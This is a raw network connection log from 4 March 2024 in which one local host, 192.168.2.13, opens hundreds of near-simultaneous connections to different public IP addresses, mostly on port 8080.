Mar 4, 2024 15:05:34.167318106 CET	47577	8080	192.168.2.13	95.75.182.117
Mar 4, 2024 15:05:34.167318106 CET	47577	8080	192.168.2.13	94.89.168.219
Mar 4, 2024 15:05:34.167324066 CET	47577	8080	192.168.2.13	85.68.253.233
Mar 4, 2024 15:05:34.167324066 CET	57024	80	192.168.2.13	112.124.55.210
Mar 4, 2024 15:05:34.167337894 CET	47577	8080	192.168.2.13	85.160.101.253
Mar 4, 2024 15:05:34.167339087 CET	47577	8080	192.168.2.13	31.137.135.58
Mar 4, 2024 15:05:34.167337894 CET	47577	8080	192.168.2.13	94.97.63.30
Mar 4, 2024 15:05:34.167339087 CET	47577	8080	192.168.2.13	62.97.72.224
Mar 4, 2024 15:05:34.167342901 CET	47577	8080	192.168.2.13	62.198.2.167
Mar 4, 2024 15:05:34.167355061 CET	47577	8080	192.168.2.13	95.237.64.176
Mar 4, 2024 15:05:34.167355061 CET	47577	8080	192.168.2.13	62.40.234.218
Mar 4, 2024 15:05:34.167357922 CET	47577	8080	192.168.2.13	95.10.165.46
Mar 4, 2024 15:05:34.167362928 CET	47577	8080	192.168.2.13	31.109.81.195
Mar 4, 2024 15:05:34.167362928 CET	47577	8080	192.168.2.13	62.236.72.82
Mar 4, 2024 15:05:34.167367935 CET	47577	8080	192.168.2.13	31.95.111.118
Mar 4, 2024 15:05:34.167371035 CET	47577	8080	192.168.2.13	94.197.143.135
Mar 4, 2024 15:05:34.167383909 CET	47577	8080	192.168.2.13	95.245.188.66
Mar 4, 2024 15:05:34.167383909 CET	47577	8080	192.168.2.13	31.207.167.56
Mar 4, 2024 15:05:34.167391062 CET	47577	8080	192.168.2.13	85.231.142.177
Mar 4, 2024 15:05:34.167391062 CET	47577	8080	192.168.2.13	94.63.115.249
Mar 4, 2024 15:05:34.167392969 CET	47577	8080	192.168.2.13	94.168.48.62
Mar 4, 2024 15:05:34.167392969 CET	47577	8080	192.168.2.13	85.250.200.87
Mar 4, 2024 15:05:34.167399883 CET	47577	8080	192.168.2.13	85.216.157.128
Mar 4, 2024 15:05:34.167402983 CET	47577	8080	192.168.2.13	31.199.158.245
Mar 4, 2024 15:05:34.167408943 CET	47577	8080	192.168.2.13	62.195.111.94
Mar 4, 2024 15:05:34.167414904 CET	47577	8080	192.168.2.13	85.69.57.142
Mar 4, 2024 15:05:34.167418957 CET	47577	8080	192.168.2.13	85.222.12.94
Mar 4, 2024 15:05:34.167433977 CET	47577	8080	192.168.2.13	85.13.255.158
Mar 4, 2024 15:05:34.167433977 CET	47577	8080	192.168.2.13	85.94.232.108
Mar 4, 2024 15:05:34.167433977 CET	47577	8080	192.168.2.13	85.92.210.126
Mar 4, 2024 15:05:34.167433977 CET	47577	8080	192.168.2.13	85.172.74.241
Mar 4, 2024 15:05:34.167433977 CET	47577	8080	192.168.2.13	94.98.142.101
Mar 4, 2024 15:05:34.167450905 CET	47577	8080	192.168.2.13	62.215.45.239
Mar 4, 2024 15:05:34.167459965 CET	47577	8080	192.168.2.13	94.123.123.176
Mar 4, 2024 15:05:34.167459965 CET	47577	8080	192.168.2.13	62.237.31.70
Mar 4, 2024 15:05:34.167464018 CET	47577	8080	192.168.2.13	31.98.135.83
Mar 4, 2024 15:05:34.167474985 CET	47577	8080	192.168.2.13	62.55.67.202
Mar 4, 2024 15:05:34.167478085 CET	47577	8080	192.168.2.13	95.11.24.184
Mar 4, 2024 15:05:34.167479038 CET	47577	8080	192.168.2.13	94.172.2.199
Mar 4, 2024 15:05:34.167478085 CET	47577	8080	192.168.2.13	95.185.61.127
Mar 4, 2024 15:05:34.167478085 CET	47577	8080	192.168.2.13	95.32.86.0
Mar 4, 2024 15:05:34.167488098 CET	47577	8080	192.168.2.13	94.159.177.214
Mar 4, 2024 15:05:34.167498112 CET	47577	8080	192.168.2.13	95.206.123.41
Mar 4, 2024 15:05:34.167505026 CET	47577	8080	192.168.2.13	31.3.227.89
Mar 4, 2024 15:05:34.167505026 CET	47577	8080	192.168.2.13	94.14.173.178
Mar 4, 2024 15:05:34.167505026 CET	47577	8080	192.168.2.13	62.203.7.87
Mar 4, 2024 15:05:34.167509079 CET	47577	8080	192.168.2.13	62.47.93.163
Mar 4, 2024 15:05:34.167509079 CET	47577	8080	192.168.2.13	94.20.177.64
Mar 4, 2024 15:05:34.167519093 CET	47577	8080	192.168.2.13	62.166.248.234
Mar 4, 2024 15:05:34.167522907 CET	47577	8080	192.168.2.13	85.37.178.54
Mar 4, 2024 15:05:34.167524099 CET	47577	8080	192.168.2.13	62.132.186.205
Mar 4, 2024 15:05:34.167526960 CET	47577	8080	192.168.2.13	85.199.21.12
Mar 4, 2024 15:05:34.167526960 CET	47577	8080	192.168.2.13	62.17.183.251
Mar 4, 2024 15:05:34.167536020 CET	47577	8080	192.168.2.13	31.150.47.176
Mar 4, 2024 15:05:34.167546988 CET	47577	8080	192.168.2.13	94.80.90.84
Mar 4, 2024 15:05:34.167550087 CET	47577	8080	192.168.2.13	62.60.173.154
Mar 4, 2024 15:05:34.167556047 CET	47577	8080	192.168.2.13	85.43.141.208
Mar 4, 2024 15:05:34.167558908 CET	47577	8080	192.168.2.13	94.140.35.123
Mar 4, 2024 15:05:34.167558908 CET	47577	8080	192.168.2.13	62.209.175.206
Mar 4, 2024 15:05:34.167568922 CET	47577	8080	192.168.2.13	94.200.189.162
Mar 4, 2024 15:05:34.167568922 CET	47577	8080	192.168.2.13	31.154.65.217
Mar 4, 2024 15:05:34.167574883 CET	47577	8080	192.168.2.13	94.52.193.5
Mar 4, 2024 15:05:34.167574883 CET	47577	8080	192.168.2.13	85.194.216.227
Mar 4, 2024 15:05:34.167582035 CET	47577	8080	192.168.2.13	94.142.233.170
Mar 4, 2024 15:05:34.167587996 CET	47577	8080	192.168.2.13	95.76.12.192
Mar 4, 2024 15:05:34.167587996 CET	47577	8080	192.168.2.13	62.156.101.227
Mar 4, 2024 15:05:34.167591095 CET	47577	8080	192.168.2.13	94.133.9.238
Mar 4, 2024 15:05:34.167591095 CET	47577	8080	192.168.2.13	94.147.156.163
Mar 4, 2024 15:05:34.167597055 CET	47577	8080	192.168.2.13	94.93.126.159
Mar 4, 2024 15:05:34.167597055 CET	47577	8080	192.168.2.13	31.214.75.61
Mar 4, 2024 15:05:34.167613029 CET	47577	8080	192.168.2.13	94.128.97.91
Mar 4, 2024 15:05:34.167613983 CET	47577	8080	192.168.2.13	31.180.232.89
Mar 4, 2024 15:05:34.167613983 CET	47577	8080	192.168.2.13	85.166.54.0
Mar 4, 2024 15:05:34.167617083 CET	47577	8080	192.168.2.13	31.44.63.38
Mar 4, 2024 15:05:34.167624950 CET	47577	8080	192.168.2.13	31.187.56.222
Mar 4, 2024 15:05:34.167629957 CET	47577	8080	192.168.2.13	95.167.234.187
Mar 4, 2024 15:05:34.167629957 CET	47577	8080	192.168.2.13	85.67.58.104
Mar 4, 2024 15:05:34.167633057 CET	47577	8080	192.168.2.13	94.180.38.163
Mar 4, 2024 15:05:34.167651892 CET	47577	8080	192.168.2.13	95.204.17.53
Mar 4, 2024 15:05:34.167656898 CET	47577	8080	192.168.2.13	31.20.204.216
Mar 4, 2024 15:05:34.167656898 CET	47577	8080	192.168.2.13	62.133.106.225
Mar 4, 2024 15:05:34.167661905 CET	47577	8080	192.168.2.13	31.185.25.212
Mar 4, 2024 15:05:34.167661905 CET	47577	8080	192.168.2.13	85.109.151.10
Mar 4, 2024 15:05:34.167661905 CET	47577	8080	192.168.2.13	94.188.139.224
Mar 4, 2024 15:05:34.167661905 CET	47577	8080	192.168.2.13	94.250.147.73
Mar 4, 2024 15:05:34.167665005 CET	47577	8080	192.168.2.13	85.69.53.103
Mar 4, 2024 15:05:34.167665005 CET	47577	8080	192.168.2.13	62.35.144.115
Mar 4, 2024 15:05:34.167661905 CET	47577	8080	192.168.2.13	94.198.38.132
Mar 4, 2024 15:05:34.167676926 CET	47577	8080	192.168.2.13	95.84.38.205
Mar 4, 2024 15:05:34.167680025 CET	47577	8080	192.168.2.13	85.167.217.129
Mar 4, 2024 15:05:34.167681932 CET	47577	8080	192.168.2.13	62.68.192.200
Mar 4, 2024 15:05:34.167691946 CET	47577	8080	192.168.2.13	85.247.130.88
Mar 4, 2024 15:05:34.167701960 CET	47577	8080	192.168.2.13	31.187.5.195
Mar 4, 2024 15:05:34.167714119 CET	47577	8080	192.168.2.13	85.169.63.231
Mar 4, 2024 15:05:34.167716026 CET	47577	8080	192.168.2.13	62.20.22.71
Mar 4, 2024 15:05:34.167715073 CET	47577	8080	192.168.2.13	62.25.0.64
Mar 4, 2024 15:05:34.167715073 CET	47577	8080	192.168.2.13	31.111.99.68
Mar 4, 2024 15:05:34.167721987 CET	47577	8080	192.168.2.13	85.146.91.122
Mar 4, 2024 15:05:34.167721987 CET	47577	8080	192.168.2.13	62.37.250.208
Mar 4, 2024 15:05:34.167721987 CET	47577	8080	192.168.2.13	85.199.182.172
Mar 4, 2024 15:05:34.167727947 CET	47577	8080	192.168.2.13	85.199.36.227
Mar 4, 2024 15:05:34.167737961 CET	47577	8080	192.168.2.13	31.63.154.174
Mar 4, 2024 15:05:34.167748928 CET	47577	8080	192.168.2.13	95.90.181.196
Mar 4, 2024 15:05:34.167748928 CET	47577	8080	192.168.2.13	85.185.194.202
Mar 4, 2024 15:05:34.167751074 CET	47577	8080	192.168.2.13	85.136.192.138
Mar 4, 2024 15:05:34.167751074 CET	47577	8080	192.168.2.13	85.35.59.157
Mar 4, 2024 15:05:34.167759895 CET	47577	8080	192.168.2.13	95.235.236.200
Mar 4, 2024 15:05:34.167762041 CET	47577	8080	192.168.2.13	95.87.172.233
Mar 4, 2024 15:05:34.167762995 CET	47577	8080	192.168.2.13	94.74.102.25
Mar 4, 2024 15:05:34.167772055 CET	47577	8080	192.168.2.13	85.96.230.110
Mar 4, 2024 15:05:34.167772055 CET	47577	8080	192.168.2.13	95.59.37.114
Mar 4, 2024 15:05:34.167776108 CET	47577	8080	192.168.2.13	95.27.245.3
Mar 4, 2024 15:05:34.167776108 CET	47577	8080	192.168.2.13	62.32.119.197
Mar 4, 2024 15:05:34.167778015 CET	47577	8080	192.168.2.13	94.72.14.24
Mar 4, 2024 15:05:34.167778015 CET	47577	8080	192.168.2.13	94.115.22.11
Mar 4, 2024 15:05:34.167778015 CET	47577	8080	192.168.2.13	85.166.243.40
Mar 4, 2024 15:05:34.167778969 CET	47577	8080	192.168.2.13	85.93.16.89
Mar 4, 2024 15:05:34.167787075 CET	47577	8080	192.168.2.13	95.95.82.254
Mar 4, 2024 15:05:34.167788982 CET	47577	8080	192.168.2.13	85.16.83.112
Mar 4, 2024 15:05:34.167794943 CET	47577	8080	192.168.2.13	95.243.98.231
Mar 4, 2024 15:05:34.167798996 CET	47577	8080	192.168.2.13	31.139.15.232
Mar 4, 2024 15:05:34.167812109 CET	47577	8080	192.168.2.13	85.105.98.24
Mar 4, 2024 15:05:34.167821884 CET	47577	8080	192.168.2.13	95.133.174.142
Mar 4, 2024 15:05:34.167821884 CET	47577	8080	192.168.2.13	31.225.176.92
Mar 4, 2024 15:05:34.167824030 CET	47577	8080	192.168.2.13	94.253.19.229
Mar 4, 2024 15:05:34.167824030 CET	47577	8080	192.168.2.13	94.233.248.11
Mar 4, 2024 15:05:34.167824030 CET	47577	8080	192.168.2.13	85.181.95.173
Mar 4, 2024 15:05:34.167824984 CET	47577	8080	192.168.2.13	95.53.92.150
Mar 4, 2024 15:05:34.167824984 CET	47577	8080	192.168.2.13	95.130.148.18
Mar 4, 2024 15:05:34.167829990 CET	47577	8080	192.168.2.13	94.92.129.218
Mar 4, 2024 15:05:34.167839050 CET	47577	8080	192.168.2.13	85.103.74.120
Mar 4, 2024 15:05:34.167839050 CET	47577	8080	192.168.2.13	85.53.192.238
Mar 4, 2024 15:05:34.167853117 CET	47577	8080	192.168.2.13	85.116.221.193
Mar 4, 2024 15:05:34.167853117 CET	47577	8080	192.168.2.13	95.165.75.71
Mar 4, 2024 15:05:34.167853117 CET	47577	8080	192.168.2.13	95.53.44.152
Mar 4, 2024 15:05:34.167867899 CET	47577	8080	192.168.2.13	95.8.41.172
Mar 4, 2024 15:05:34.167870045 CET	47577	8080	192.168.2.13	85.105.195.239
Mar 4, 2024 15:05:34.167867899 CET	47577	8080	192.168.2.13	31.96.173.110
Mar 4, 2024 15:05:34.167870998 CET	47577	8080	192.168.2.13	62.190.111.136
Mar 4, 2024 15:05:34.167885065 CET	47577	8080	192.168.2.13	85.65.150.7
Mar 4, 2024 15:05:34.167889118 CET	47577	8080	192.168.2.13	62.68.249.37
Mar 4, 2024 15:05:34.167889118 CET	47577	8080	192.168.2.13	95.129.243.213
Mar 4, 2024 15:05:34.167889118 CET	47577	8080	192.168.2.13	94.237.72.43
Mar 4, 2024 15:05:34.167901993 CET	47577	8080	192.168.2.13	85.107.117.104
Mar 4, 2024 15:05:34.167901993 CET	47577	8080	192.168.2.13	85.114.204.73
Mar 4, 2024 15:05:34.167908907 CET	47577	8080	192.168.2.13	31.138.17.153
Mar 4, 2024 15:05:34.167910099 CET	47577	8080	192.168.2.13	95.90.144.93
Mar 4, 2024 15:05:34.167912960 CET	47577	8080	192.168.2.13	85.90.32.190
Mar 4, 2024 15:05:34.167913914 CET	47577	8080	192.168.2.13	95.109.130.64
Mar 4, 2024 15:05:34.167913914 CET	47577	8080	192.168.2.13	85.183.64.138
Mar 4, 2024 15:05:34.167918921 CET	47577	8080	192.168.2.13	31.75.52.88
Mar 4, 2024 15:05:34.167922020 CET	47577	8080	192.168.2.13	95.197.69.156
Mar 4, 2024 15:05:34.167922020 CET	47577	8080	192.168.2.13	94.210.219.139
Mar 4, 2024 15:05:34.167923927 CET	47577	8080	192.168.2.13	62.32.226.37
Mar 4, 2024 15:05:34.167922020 CET	47577	8080	192.168.2.13	95.234.233.217
Mar 4, 2024 15:05:34.167943001 CET	47577	8080	192.168.2.13	62.234.148.197
Mar 4, 2024 15:05:34.167943001 CET	47577	8080	192.168.2.13	31.139.17.234
Mar 4, 2024 15:05:34.167946100 CET	47577	8080	192.168.2.13	85.25.27.159
Mar 4, 2024 15:05:34.167946100 CET	47577	8080	192.168.2.13	85.76.148.98
Mar 4, 2024 15:05:34.167948008 CET	47577	8080	192.168.2.13	95.221.83.253
Mar 4, 2024 15:05:34.167948961 CET	47577	8080	192.168.2.13	95.180.209.15
Mar 4, 2024 15:05:34.167948008 CET	47577	8080	192.168.2.13	94.46.237.103
Mar 4, 2024 15:05:34.167946100 CET	47577	8080	192.168.2.13	31.34.252.241
Mar 4, 2024 15:05:34.167946100 CET	47577	8080	192.168.2.13	31.145.145.46
Mar 4, 2024 15:05:34.167953968 CET	47577	8080	192.168.2.13	62.216.35.148
Mar 4, 2024 15:05:34.167946100 CET	47577	8080	192.168.2.13	94.114.232.107
Mar 4, 2024 15:05:34.167953968 CET	47577	8080	192.168.2.13	95.248.5.252
Mar 4, 2024 15:05:34.167963982 CET	47577	8080	192.168.2.13	31.191.163.242
Mar 4, 2024 15:05:34.167963982 CET	47577	8080	192.168.2.13	31.250.83.197
Mar 4, 2024 15:05:34.167970896 CET	47577	8080	192.168.2.13	85.55.56.191
Mar 4, 2024 15:05:34.167982101 CET	47577	8080	192.168.2.13	95.117.164.45
Mar 4, 2024 15:05:34.167983055 CET	47577	8080	192.168.2.13	95.243.204.68
Mar 4, 2024 15:05:34.167984009 CET	47577	8080	192.168.2.13	94.51.125.231
Mar 4, 2024 15:05:34.167987108 CET	47577	8080	192.168.2.13	31.67.49.127
Mar 4, 2024 15:05:34.167999983 CET	47577	8080	192.168.2.13	95.154.60.138
Mar 4, 2024 15:05:34.167999983 CET	47577	8080	192.168.2.13	95.122.180.94
Mar 4, 2024 15:05:34.168003082 CET	47577	8080	192.168.2.13	95.145.153.27
Mar 4, 2024 15:05:34.168003082 CET	47577	8080	192.168.2.13	85.62.7.217
Mar 4, 2024 15:05:34.168023109 CET	47577	8080	192.168.2.13	62.169.255.17
Mar 4, 2024 15:05:34.168025970 CET	47577	8080	192.168.2.13	94.79.254.36
Mar 4, 2024 15:05:34.168031931 CET	47577	8080	192.168.2.13	31.255.81.8
Mar 4, 2024 15:05:34.168031931 CET	47577	8080	192.168.2.13	95.254.117.61
Mar 4, 2024 15:05:34.168036938 CET	47577	8080	192.168.2.13	95.183.84.240
Mar 4, 2024 15:05:34.168036938 CET	47577	8080	192.168.2.13	62.109.178.141
Mar 4, 2024 15:05:34.168036938 CET	47577	8080	192.168.2.13	94.9.162.192
Mar 4, 2024 15:05:34.168036938 CET	47577	8080	192.168.2.13	85.240.50.128
Mar 4, 2024 15:05:34.168036938 CET	47577	8080	192.168.2.13	62.123.39.25
Mar 4, 2024 15:05:34.168036938 CET	47577	8080	192.168.2.13	62.89.7.199
Mar 4, 2024 15:05:34.168044090 CET	47577	8080	192.168.2.13	31.62.196.191
Mar 4, 2024 15:05:34.168044090 CET	47577	8080	192.168.2.13	85.67.239.194
Mar 4, 2024 15:05:34.168045998 CET	47577	8080	192.168.2.13	94.66.42.233
Mar 4, 2024 15:05:34.168045998 CET	47577	8080	192.168.2.13	31.151.64.226
Mar 4, 2024 15:05:34.168051004 CET	47577	8080	192.168.2.13	95.149.92.96
Mar 4, 2024 15:05:34.168051958 CET	47577	8080	192.168.2.13	31.67.94.142
Mar 4, 2024 15:05:34.168052912 CET	47577	8080	192.168.2.13	85.250.194.188
Mar 4, 2024 15:05:34.168060064 CET	47577	8080	192.168.2.13	31.3.235.15
Mar 4, 2024 15:05:34.168067932 CET	47577	8080	192.168.2.13	31.162.155.249
Mar 4, 2024 15:05:34.168070078 CET	47577	8080	192.168.2.13	94.30.114.253
Mar 4, 2024 15:05:34.168076038 CET	47577	8080	192.168.2.13	95.204.51.205
Mar 4, 2024 15:05:34.168076992 CET	47577	8080	192.168.2.13	85.62.252.67
Mar 4, 2024 15:05:34.168081999 CET	47577	8080	192.168.2.13	62.28.149.37
Mar 4, 2024 15:05:34.168081999 CET	47577	8080	192.168.2.13	94.130.222.80
Mar 4, 2024 15:05:34.168081999 CET	47577	8080	192.168.2.13	94.129.233.17
Mar 4, 2024 15:05:34.168106079 CET	47577	8080	192.168.2.13	31.207.55.227
Mar 4, 2024 15:05:34.168107986 CET	47577	8080	192.168.2.13	95.40.170.72
Mar 4, 2024 15:05:34.168107986 CET	47577	8080	192.168.2.13	62.235.236.196
Mar 4, 2024 15:05:34.168114901 CET	47577	8080	192.168.2.13	31.29.108.101
Mar 4, 2024 15:05:34.168117046 CET	47577	8080	192.168.2.13	85.237.102.118
Mar 4, 2024 15:05:34.168118000 CET	47577	8080	192.168.2.13	31.181.160.24
Mar 4, 2024 15:05:34.168119907 CET	47577	8080	192.168.2.13	94.91.85.157
Mar 4, 2024 15:05:34.168123007 CET	47577	8080	192.168.2.13	94.78.62.44
Mar 4, 2024 15:05:34.168123007 CET	47577	8080	192.168.2.13	95.173.229.116
Mar 4, 2024 15:05:34.168126106 CET	47577	8080	192.168.2.13	85.40.116.228
Mar 4, 2024 15:05:34.168123007 CET	47577	8080	192.168.2.13	62.156.251.208
Mar 4, 2024 15:05:34.168138027 CET	47577	8080	192.168.2.13	94.40.83.32
Mar 4, 2024 15:05:34.168138027 CET	47577	8080	192.168.2.13	95.65.55.128
Mar 4, 2024 15:05:34.168142080 CET	47577	8080	192.168.2.13	95.160.152.88
Mar 4, 2024 15:05:34.168143988 CET	47577	8080	192.168.2.13	31.235.248.254
Mar 4, 2024 15:05:34.168143988 CET	47577	8080	192.168.2.13	31.21.186.92
Mar 4, 2024 15:05:34.168145895 CET	47577	8080	192.168.2.13	31.250.241.64
Mar 4, 2024 15:05:34.168154955 CET	47577	8080	192.168.2.13	85.221.154.12
Mar 4, 2024 15:05:34.168170929 CET	47577	8080	192.168.2.13	85.198.206.253
Mar 4, 2024 15:05:34.168171883 CET	47577	8080	192.168.2.13	95.33.39.54
Mar 4, 2024 15:05:34.168174028 CET	47577	8080	192.168.2.13	95.206.209.92
Mar 4, 2024 15:05:34.168174028 CET	47577	8080	192.168.2.13	85.32.167.150
Mar 4, 2024 15:05:34.168176889 CET	47577	8080	192.168.2.13	94.232.9.176
Mar 4, 2024 15:05:34.168190956 CET	47577	8080	192.168.2.13	85.55.67.52
Mar 4, 2024 15:05:34.168190956 CET	47577	8080	192.168.2.13	85.77.153.235
Mar 4, 2024 15:05:34.168191910 CET	47577	8080	192.168.2.13	85.130.247.84
Mar 4, 2024 15:05:34.168191910 CET	47577	8080	192.168.2.13	62.195.154.92
Mar 4, 2024 15:05:34.168191910 CET	47577	8080	192.168.2.13	31.7.123.83
Mar 4, 2024 15:05:34.168191910 CET	47577	8080	192.168.2.13	94.165.211.112
Mar 4, 2024 15:05:34.168204069 CET	47577	8080	192.168.2.13	85.31.199.120
Mar 4, 2024 15:05:34.168211937 CET	47577	8080	192.168.2.13	95.188.59.135
Mar 4, 2024 15:05:34.168211937 CET	47577	8080	192.168.2.13	85.182.1.198
Mar 4, 2024 15:05:34.168215990 CET	47577	8080	192.168.2.13	31.115.220.106
Mar 4, 2024 15:05:34.168215990 CET	47577	8080	192.168.2.13	95.205.246.206
Mar 4, 2024 15:05:34.168215990 CET	47577	8080	192.168.2.13	85.185.105.228
Mar 4, 2024 15:05:34.168229103 CET	47577	8080	192.168.2.13	85.107.141.192
Mar 4, 2024 15:05:34.168239117 CET	47577	8080	192.168.2.13	85.130.204.30
Mar 4, 2024 15:05:34.168256998 CET	47577	8080	192.168.2.13	85.168.186.203
Mar 4, 2024 15:05:34.168258905 CET	47577	8080	192.168.2.13	95.83.151.212
Mar 4, 2024 15:05:34.168258905 CET	47577	8080	192.168.2.13	95.238.214.69
Mar 4, 2024 15:05:34.168258905 CET	47577	8080	192.168.2.13	31.149.246.150
Mar 4, 2024 15:05:34.168261051 CET	47577	8080	192.168.2.13	85.99.128.164
Mar 4, 2024 15:05:34.168262959 CET	47577	8080	192.168.2.13	94.151.96.178
Mar 4, 2024 15:05:34.168261051 CET	47577	8080	192.168.2.13	95.45.144.109
Mar 4, 2024 15:05:34.168261051 CET	47577	8080	192.168.2.13	95.225.152.251
Mar 4, 2024 15:05:34.168261051 CET	47577	8080	192.168.2.13	31.205.164.207
Mar 4, 2024 15:05:34.168266058 CET	47577	8080	192.168.2.13	95.239.33.76
Mar 4, 2024 15:05:34.168267012 CET	47577	8080	192.168.2.13	31.205.212.35
Mar 4, 2024 15:05:34.168267012 CET	47577	8080	192.168.2.13	94.219.162.37
Mar 4, 2024 15:05:34.168279886 CET	47577	8080	192.168.2.13	62.160.146.160
Mar 4, 2024 15:05:34.168279886 CET	47577	8080	192.168.2.13	31.6.41.90
Mar 4, 2024 15:05:34.168288946 CET	47577	8080	192.168.2.13	85.97.166.66
Mar 4, 2024 15:05:34.168299913 CET	47577	8080	192.168.2.13	85.145.194.123
Mar 4, 2024 15:05:34.168303013 CET	47577	8080	192.168.2.13	95.148.92.94
Mar 4, 2024 15:05:34.168303013 CET	47577	8080	192.168.2.13	31.251.176.63
Mar 4, 2024 15:05:34.168312073 CET	47577	8080	192.168.2.13	94.76.118.33
Mar 4, 2024 15:05:34.168318033 CET	47577	8080	192.168.2.13	62.162.13.239
Mar 4, 2024 15:05:34.168323994 CET	47577	8080	192.168.2.13	62.202.140.126
Mar 4, 2024 15:05:34.168324947 CET	47577	8080	192.168.2.13	94.6.111.9
Mar 4, 2024 15:05:34.168329000 CET	47577	8080	192.168.2.13	62.94.84.57
Mar 4, 2024 15:05:34.168329000 CET	47577	8080	192.168.2.13	31.194.186.7
Mar 4, 2024 15:05:34.168329000 CET	47577	8080	192.168.2.13	31.190.144.233
Mar 4, 2024 15:05:34.168332100 CET	47577	8080	192.168.2.13	94.92.203.111
Mar 4, 2024 15:05:34.168334961 CET	47577	8080	192.168.2.13	95.80.219.195
Mar 4, 2024 15:05:34.168342113 CET	47577	8080	192.168.2.13	95.42.117.2
Mar 4, 2024 15:05:34.168354034 CET	47577	8080	192.168.2.13	95.155.218.128
Mar 4, 2024 15:05:34.168360949 CET	47577	8080	192.168.2.13	62.201.203.237
Mar 4, 2024 15:05:34.168363094 CET	47577	8080	192.168.2.13	85.83.183.41
Mar 4, 2024 15:05:34.168365955 CET	47577	8080	192.168.2.13	85.58.235.25
Mar 4, 2024 15:05:34.168365955 CET	47577	8080	192.168.2.13	95.154.137.106
Mar 4, 2024 15:05:34.168370962 CET	47577	8080	192.168.2.13	62.16.110.187
Mar 4, 2024 15:05:34.168376923 CET	47577	8080	192.168.2.13	95.43.39.209
Mar 4, 2024 15:05:34.168387890 CET	47577	8080	192.168.2.13	94.216.205.126
Mar 4, 2024 15:05:34.168387890 CET	47577	8080	192.168.2.13	62.68.129.34
Mar 4, 2024 15:05:34.168390989 CET	47577	8080	192.168.2.13	62.41.225.41
Mar 4, 2024 15:05:34.168390989 CET	47577	8080	192.168.2.13	31.133.5.72
Mar 4, 2024 15:05:34.168401957 CET	47577	8080	192.168.2.13	95.220.81.210
Mar 4, 2024 15:05:34.168409109 CET	47577	8080	192.168.2.13	95.226.192.214
Mar 4, 2024 15:05:34.168414116 CET	47577	8080	192.168.2.13	31.208.194.27
Mar 4, 2024 15:05:34.168415070 CET	47577	8080	192.168.2.13	85.143.196.9
Mar 4, 2024 15:05:34.168421030 CET	47577	8080	192.168.2.13	85.93.251.46
Mar 4, 2024 15:05:34.168422937 CET	47577	8080	192.168.2.13	94.81.84.235
Mar 4, 2024 15:05:34.168423891 CET	47577	8080	192.168.2.13	85.169.209.81
Mar 4, 2024 15:05:34.168423891 CET	47577	8080	192.168.2.13	95.128.236.182
Mar 4, 2024 15:05:34.168433905 CET	47577	8080	192.168.2.13	85.8.81.223
Mar 4, 2024 15:05:34.168438911 CET	47577	8080	192.168.2.13	62.228.209.235
Mar 4, 2024 15:05:34.168448925 CET	47577	8080	192.168.2.13	95.4.69.116
Mar 4, 2024 15:05:34.168451071 CET	47577	8080	192.168.2.13	85.42.88.255
Mar 4, 2024 15:05:34.168452024 CET	47577	8080	192.168.2.13	85.122.248.226
Mar 4, 2024 15:05:34.168452978 CET	47577	8080	192.168.2.13	94.22.96.33
Mar 4, 2024 15:05:34.168454885 CET	47577	8080	192.168.2.13	85.203.1.205
Mar 4, 2024 15:05:34.168454885 CET	47577	8080	192.168.2.13	85.250.21.5
Mar 4, 2024 15:05:34.168462038 CET	47577	8080	192.168.2.13	62.152.114.144
Mar 4, 2024 15:05:34.168462038 CET	47577	8080	192.168.2.13	31.220.21.160
Mar 4, 2024 15:05:34.168463945 CET	47577	8080	192.168.2.13	94.22.178.83
Mar 4, 2024 15:05:34.168463945 CET	47577	8080	192.168.2.13	31.152.104.216
Mar 4, 2024 15:05:34.168462038 CET	47577	8080	192.168.2.13	95.214.59.153
Mar 4, 2024 15:05:34.168463945 CET	47577	8080	192.168.2.13	31.16.66.142
Mar 4, 2024 15:05:34.168474913 CET	47577	8080	192.168.2.13	85.129.243.208
Mar 4, 2024 15:05:34.168474913 CET	47577	8080	192.168.2.13	94.46.160.231
Mar 4, 2024 15:05:34.168478012 CET	47577	8080	192.168.2.13	31.216.148.85
Mar 4, 2024 15:05:34.168488026 CET	47577	8080	192.168.2.13	85.117.90.179
Mar 4, 2024 15:05:34.168494940 CET	47577	8080	192.168.2.13	94.197.181.232
Mar 4, 2024 15:05:34.168495893 CET	47577	8080	192.168.2.13	94.140.26.244
Mar 4, 2024 15:05:34.168502092 CET	47577	8080	192.168.2.13	62.39.21.168
Mar 4, 2024 15:05:34.168508053 CET	47577	8080	192.168.2.13	62.221.26.213
Mar 4, 2024 15:05:34.168509960 CET	47577	8080	192.168.2.13	95.243.127.130
Mar 4, 2024 15:05:34.168514967 CET	47577	8080	192.168.2.13	62.39.57.37
Mar 4, 2024 15:05:34.168514967 CET	47577	8080	192.168.2.13	95.9.164.71
Mar 4, 2024 15:05:34.168526888 CET	47577	8080	192.168.2.13	62.143.112.98
Mar 4, 2024 15:05:34.168544054 CET	47577	8080	192.168.2.13	95.134.135.78
Mar 4, 2024 15:05:34.168546915 CET	47577	8080	192.168.2.13	31.4.208.3
Mar 4, 2024 15:05:34.168546915 CET	47577	8080	192.168.2.13	62.96.40.104
Mar 4, 2024 15:05:34.168546915 CET	47577	8080	192.168.2.13	62.16.45.251
Mar 4, 2024 15:05:34.168546915 CET	47577	8080	192.168.2.13	95.160.63.123
Mar 4, 2024 15:05:34.168546915 CET	47577	8080	192.168.2.13	31.46.18.4
Mar 4, 2024 15:05:34.168556929 CET	47577	8080	192.168.2.13	94.80.79.153
Mar 4, 2024 15:05:34.168556929 CET	47577	8080	192.168.2.13	85.7.213.110
Mar 4, 2024 15:05:34.168564081 CET	47577	8080	192.168.2.13	62.100.78.114
Mar 4, 2024 15:05:34.168570995 CET	47577	8080	192.168.2.13	95.8.145.102
Mar 4, 2024 15:05:34.168570995 CET	47577	8080	192.168.2.13	62.103.38.27
Mar 4, 2024 15:05:34.168570995 CET	47577	8080	192.168.2.13	31.132.213.155
Mar 4, 2024 15:05:34.168575048 CET	47577	8080	192.168.2.13	85.124.201.43
Mar 4, 2024 15:05:34.168584108 CET	47577	8080	192.168.2.13	95.248.170.123
Mar 4, 2024 15:05:34.168585062 CET	47577	8080	192.168.2.13	85.164.246.234
Mar 4, 2024 15:05:34.168584108 CET	47577	8080	192.168.2.13	85.171.224.174
Mar 4, 2024 15:05:34.168602943 CET	47577	8080	192.168.2.13	95.121.221.125
Mar 4, 2024 15:05:34.168603897 CET	47577	8080	192.168.2.13	95.6.168.95
Mar 4, 2024 15:05:34.168611050 CET	47577	8080	192.168.2.13	85.15.189.254
Mar 4, 2024 15:05:34.168611050 CET	47577	8080	192.168.2.13	95.82.255.243
